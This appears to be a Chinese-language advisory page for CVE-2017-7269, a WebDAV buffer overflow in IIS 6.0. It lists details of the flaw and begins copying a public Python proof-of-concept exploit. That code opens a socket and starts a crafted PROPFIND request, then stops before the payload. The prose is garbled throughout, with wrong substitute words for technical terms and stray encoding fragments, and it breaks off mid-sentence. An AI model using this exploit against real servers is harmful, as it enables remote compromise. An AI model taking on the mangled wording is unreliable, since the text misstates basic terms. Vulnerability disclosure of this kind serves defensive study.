IIS 6.0 長途代碼履行0day,編號:CVE-2017-7269 (附PoC)
縫隙描繪
縫隙編號：CVE-2017-7269
發(fā)現(xiàn)人員：Zhiniang Peng和Chen Wu（華南理工大學信息安全實驗室,計算機科學與工程學院）
縫隙簡述：敞開WebDAV服務的IIS 6.0被爆存在緩存區(qū)溢出縫隙導致長途代碼履行，現(xiàn)在對于 Windows Server 2003 R2 可以穩(wěn)定運用，該縫隙最早在2016年7,8月份開端在野外被運用。
縫隙類型：緩沖區(qū)溢出
縫隙等級：高危
影響商品：Microsoft Windows Server 2003 R2 敞開WebDAV服務的IIS6.0（現(xiàn)在已驗證，別的版本尚未驗證）
觸發(fā)函數(shù)：ScStoragePathFromUrl函數(shù)
附加信息：ScStoragePathFromUrl函數(shù)被調(diào)用了兩次
縫隙細節(jié)：在Windows Server 2003的IIS6.0的WebDAV服務的ScStoragePathFromUrl函數(shù)存在緩存區(qū)溢出縫隙，攻擊者經(jīng)過一個以“If:
PoC(來源網(wǎng)絡https://github.com/edwardz246003/IIS_exploit/blob/master/exploit.py)
#------------Our payload set up a ROP chain by using the overflow 3 times. It will launch a calc.exe which shows the bug is really dangerous.
#written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science & Engineering, South China University of Technology Guangzhou, China
#-----------Email: edwardz@foxmail.com
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('127.0.0.1',80))
pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
pay+='If:
| 
